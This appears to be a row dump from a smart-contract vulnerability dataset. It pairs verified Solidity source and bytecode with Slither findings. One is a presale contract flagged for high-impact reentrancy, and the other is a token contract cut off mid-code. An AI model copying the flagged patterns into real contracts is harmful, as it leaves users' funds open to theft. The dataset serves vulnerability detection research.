address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xedc77f347a7dbdba2319e86ef5681535f8da75e0
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* @dev Supports unlimited numbers of roles and addresses.
* @dev See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
/**
* @title Whitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* @dev This simplifies the implementation of "user permissions".
*/
contract Whitelist is Ownable, RBAC {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param addr address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressAdded(addr);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param addr address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressRemoved(addr);
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract PresaleSecond is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 public maxcap; // sale hardcap
uint256 public exceed; // indivisual hardcap
uint256 public minimum; // indivisual softcap
uint256 public rate; // exchange rate
bool public paused = false; // is sale paused?
bool public ignited = false; // is sale started?
uint256 public weiRaised = 0; // check sale status
address public wallet; // wallet for withdrawal
address public distributor; // contract for release, refund
Whitelist public List; // whitelist
ERC20 public Token; // token
constructor (
uint256 _maxcap,
uint256 _exceed,
uint256 _minimum,
uint256 _rate,
address _wallet,
address _distributor,
address _whitelist,
address _token
)
public
{
require(_wallet != address(0));
require(_whitelist != address(0));
require(_distributor != address(0));
require(_token != address(0));
maxcap = _maxcap;
exceed = _exceed;
minimum = _minimum;
rate = _rate;
wallet = _wallet;
distributor = _distributor;
Token = ERC20(_token);
List = Whitelist(_whitelist);
}
/* fallback function */
function () external payable {
collect();
}
// address
event Change(address _addr, string _name);
function setWhitelist(address _whitelist) external onlyOwner {
require(_whitelist != address(0));
List = Whitelist(_whitelist);
emit Change(_whitelist, "whitelist");
}
function setDistributor(address _distributor) external onlyOwner {
require(_distributor != address(0));
distributor = _distributor;
emit Change(_distributor, "distributor");
}
function setWallet(address _wallet) external onlyOwner {
require(_wallet != address(0));
wallet = _wallet;
emit Change(_wallet, "wallet");
}
// sale controller
event Pause();
event Resume();
event Ignite();
event Extinguish();
function pause() external onlyOwner {
paused = true;
emit Pause();
}
function resume() external onlyOwner {
paused = false;
emit Resume();
}
function ignite() external onlyOwner {
ignited = true;
emit Ignite();
}
function extinguish() external onlyOwner {
ignited = false;
emit Extinguish();
}
// collect eth
event Purchase(address indexed _buyer, uint256 _purchased, uint256 _refund, uint256 _tokens);
mapping (address => uint256) public buyers;
function collect() public payable {
address buyer = msg.sender;
uint256 amount = msg.value;
require(ignited && !paused);
require(List.whitelist(buyer));
require(buyer != address(0));
require(buyers[buyer].add(amount) >= minimum);
require(buyers[buyer] < exceed);
require(weiRaised < maxcap);
uint256 purchase;
uint256 refund;
(purchase, refund) = getPurchaseAmount(buyer, amount);
weiRaised = weiRaised.add(purchase);
if(weiRaised >= maxcap) ignited = false;
buyers[buyer] = buyers[buyer].add(purchase);
emit Purchase(buyer, purchase, refund, purchase.mul(rate));
buyer.transfer(refund);
}
// util functions for collect
function getPurchaseAmount(address _buyer, uint256 _amount)
private
view
returns (uint256, uint256)
{
uint256 d1 = maxcap.sub(weiRaised);
uint256 d2 = exceed.sub(buyers[_buyer]);
uint256 d = (d1 > d2) ? d2 : d1;
return (_amount > d) ? (d, _amount.sub(d)) : (_amount, 0);
}
// finalize
bool public finalized = false;
function finalize() external onlyOwner {
require(!ignited && !finalized);
withdrawEther();
withdrawToken();
finalized = true;
}
// release & release
event Release(address indexed _to, uint256 _amount);
event Refund(address indexed _to, uint256 _amount);
function release(address _addr)
external
returns (bool)
{
require(!ignited && !finalized);
require(msg.sender == distributor); // only for distributor
require(_addr != address(0));
if(buyers[_addr] == 0) return false;
uint256 releaseAmount = buyers[_addr].mul(rate);
buyers[_addr] = 0;
Token.safeTransfer(_addr, releaseAmount);
emit Release(_addr, releaseAmount);
return true;
}
// 어떤 모종의 이유로 환불 절차를 밟아야 하는 경우를 상정하여 만들어놓은 안전장치입니다.
// This exists for safety when we have to run refund process by some reason.
function refund(address _addr)
external
returns (bool)
{
require(!ignited && !finalized);
require(msg.sender == distributor); // only for distributor
require(_addr != address(0));
if(buyers[_addr] == 0) return false;
uint256 refundAmount = buyers[_addr];
buyers[_addr] = 0;
_addr.transfer(refundAmount);
emit Refund(_addr, refundAmount);
return true;
}
// withdraw
event WithdrawToken(address indexed _from, uint256 _amount);
event WithdrawEther(address indexed _from, uint256 _amount);
function withdrawToken() public onlyOwner {
require(!ignited);
Token.safeTransfer(wallet, Token.balanceOf(address(this)));
emit WithdrawToken(wallet, Token.balanceOf(address(this)));
}
function withdrawEther() public onlyOwner {
require(!ignited);
wallet.transfer(address(this).balance);
emit WithdrawEther(wallet, address(this).balance);
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063046f7da21461017f5780630b1815671461019657806319165587146101c15780632c4e722e1461021c5780634042b66f146102475780634bb278f314610272578063521eb2731461028957806352d6804d146102e057806355456f581461030b5780635c975abb1461033657806366092ea814610365578063715018a6146103945780637362377b146103ab57806375619ab5146103c25780638456cb5914610405578063854cff2f1461041c5780638da5cb5b1461045f57806397a993aa146104b6578063b3f05b971461050d578063bfe109281461053c578063c241267614610593578063c258ff74146105ea578063c54837a414610641578063ca628c7814610658578063deaa59df1461066f578063e5225381146106b2578063f2fde38b146106bc578063f768923a146106ff578063fa89401a14610716575b61017d610771565b005b34801561018b57600080fd5b50610194610b5d565b005b3480156101a257600080fd5b506101ab610c01565b6040518082815260200191505060405180910390f35b3480156101cd57600080fd5b50610202600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c07565b604051808215151515815260200191505060405180910390f35b34801561022857600080fd5b50610231610e69565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610e6f565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b50610287610e75565b005b34801561029557600080fd5b5061029e610f32565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ec57600080fd5b506102f5610f58565b6040518082815260200191505060405180910390f35b34801561031757600080fd5b50610320610f5e565b6040518082815260200191505060405180910390f35b34801561034257600080fd5b5061034b610f64565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610f77565b604051808215151515815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610f8a565b005b3480156103b757600080fd5b506103c061108c565b005b3480156103ce57600080fd5b50610403600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120c565b005b34801561041157600080fd5b5061041a611383565b005b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611427565b005b34801561046b57600080fd5b5061047461159e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c257600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c3565b6040518082815260200191505060405180910390f35b34801561051957600080fd5b506105226115db565b604051808215151515815260200191505060405180910390f35b34801561054857600080fd5b506105516115ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059f57600080fd5b506105a8611614565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105f657600080fd5b506105ff61163a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064d57600080fd5b50610656611660565b005b34801561066457600080fd5b5061066d611704565b005b34801561067b57600080fd5b506106b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4a565b005b6106ba610771565b005b3480156106c857600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc1565b005b34801561070b57600080fd5b50610714611d16565b005b34801561072257600080fd5b50610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dba565b604051808215151515815260200191505060405180910390f35b600080600080339350349250600560019054906101000a900460ff1680156107a65750600560009054906101000a900460ff16155b15156107b157600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639b19251a856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561086e57600080fd5b505af1158015610882573d6000803e3d6000fd5b505050506040513d602081101561089857600080fd5b810190808051906020019092919050505015156108b457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156108f057600080fd5b60035461094584600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200290919063ffffffff16565b1015151561095257600080fd5b600254600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156109a157600080fd5b6001546006541015156109b357600080fd5b6109bd848461201e565b80925081935050506109da8260065461200290919063ffffffff16565b600681905550600154600654101515610a09576000600560016101000a81548160ff0219169083151502179055505b610a5b82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200290919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f5bc97d73357ac0d035d4b9268a69240988a5776b8a4fcced3dbc223960123f408383610aed600454876120db90919063ffffffff16565b60405180848152602001838152602001828152602001935050505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b56573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bb857600080fd5b6000600560006101000a81548160ff0219169083151502179055507f490d6d11e278f168be9be39e46297f72ea877136d5bccad9cf4993e63a29568f60405160405180910390a1565b60025481565b600080600560019054906101000a900460ff16158015610c345750600c60009054906101000a900460ff16155b1515610c3f57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cd757600080fd5b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610d285760009150610e63565b610d7c600454600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120db90919063ffffffff16565b90506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e108382600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166121139092919063ffffffff16565b8273ffffffffffffffffffffffffffffffffffffffff167ff6334794522b9db534a812aaae1af828a2e96aac68473b58e36d7d0bfd67477b826040518082815260200191505060405180910390a2600191505b50919050565b60045481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed057600080fd5b600560019054906101000a900460ff16158015610efa5750600c60009054906101000a900460ff16155b1515610f0557600080fd5b610f0d61108c565b610f15611704565b6001600c60006101000a81548160ff021916908315150217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60015481565b600560009054906101000a900460ff1681565b600560019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e757600080fd5b600560019054906101000a900460ff1615151561110357600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611182573d6000803e3d6000fd5b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdb35132c111efe920cede025e819975671cfd1b8fcc1174762c8670c4e94c2113073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a2565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112a357600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa785fc346da73c9ad6c933dde68fe85362a97b7b07706c3e23ff3400cc5d93b581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018281038252600b8152602001807f6469737472696275746f720000000000000000000000000000000000000000008152506020019250505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113de57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114be57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa785fc346da73c9ad6c933dde68fe85362a97b7b07706c3e23ff3400cc5d93b581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825260098152602001807f77686974656c69737400000000000000000000000000000000000000000000008152506020019250505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020528060005260406000206000915090505481565b600c60009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116bb57600080fd5b6000600560016101000a81548160ff0219169083151502179055507fd53036fa90376b59ca8afb9d95483e6b47ffa785d597814fcfd7405a91bba67a60405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175f57600080fd5b600560019054906101000a900460ff1615151561177b57600080fd5b6118e1600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561185e57600080fd5b505af1158015611872573d6000803e3d6000fd5b505050506040513d602081101561188857600080fd5b8101908080519060200190929190505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166121139092919063ffffffff16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f992ee874049a42cae0757a765cd7f641b6028cc35c3478bde8330bf417c3a7a9600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156119f857600080fd5b505af1158015611a0c573d6000803e3d6000fd5b505050506040513d6020811015611a2257600080fd5b81019080805190602001909291905050506040518082815260200191505060405180910390a2565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aa557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ae157600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa785fc346da73c9ad6c933dde68fe85362a97b7b07706c3e23ff3400cc5d93b581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825260068152602001807f77616c6c657400000000000000000000000000000000000000000000000000008152506020019250505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d7157600080fd5b6001600560016101000a81548160ff0219169083151502179055507fb66ce7cc84acb9e2cdfa3c16073eec63d39b0540887b91247afebaee4645611a60405160405180910390a1565b600080600560019054906101000a900460ff16158015611de75750600c60009054906101000a900460ff16155b1515611df257600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e8a57600080fd5b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611edb5760009150611ffc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fa8573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d826040518082815260200191505060405180910390a2600191505b50919050565b6000818301905082811015151561201557fe5b80905092915050565b600080600080600061203d60065460015461220190919063ffffffff16565b9250612093600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460025461220190919063ffffffff16565b91508183116120a257826120a4565b815b90508086116120b8578560008090506120cd565b806120cc828861220190919063ffffffff16565b5b945094505050509250929050565b6000808314156120ee576000905061210d565b81830290508183828115156120ff57fe5b0414151561210957fe5b8090505b92915050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156121b657600080fd5b505af11580156121ca573d6000803e3d6000fd5b505050506040513d60208110156121e057600080fd5b810190808051906020019092919050505015156121fc57600080fd5b505050565b600082821115151561220f57fe5b8183039050929150505600a165627a7a72305820872871fa37ed9ae89ad7c8a24f06397ee1e29d112b824f5ca077a64a6e4b0c630029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,100 |
0x7aedcfc3f102213ac635d66e64e3621944717699
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
██╗░░██╗███████╗████████╗░█████╗░███╗░░░███╗██╗███╗░░██╗███████╗
██║░██╔╝██╔════╝╚══██╔══╝██╔══██╗████╗░████║██║████╗░██║██╔════╝
█████═╝░█████╗░░░░░██║░░░███████║██╔████╔██║██║██╔██╗██║█████╗░░
██╔═██╗░██╔══╝░░░░░██║░░░██╔══██║██║╚██╔╝██║██║██║╚████║██╔══╝░░
██║░╚██╗███████╗░░░██║░░░██║░░██║██║░╚═╝░██║██║██║░╚███║███████╗
╚═╝░░╚═╝╚══════╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝╚═╝░░╚══╝╚══════╝
Welcome to ƎNIꟽ∀ꓕƎꓘ !
https://t.me/ketamineth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
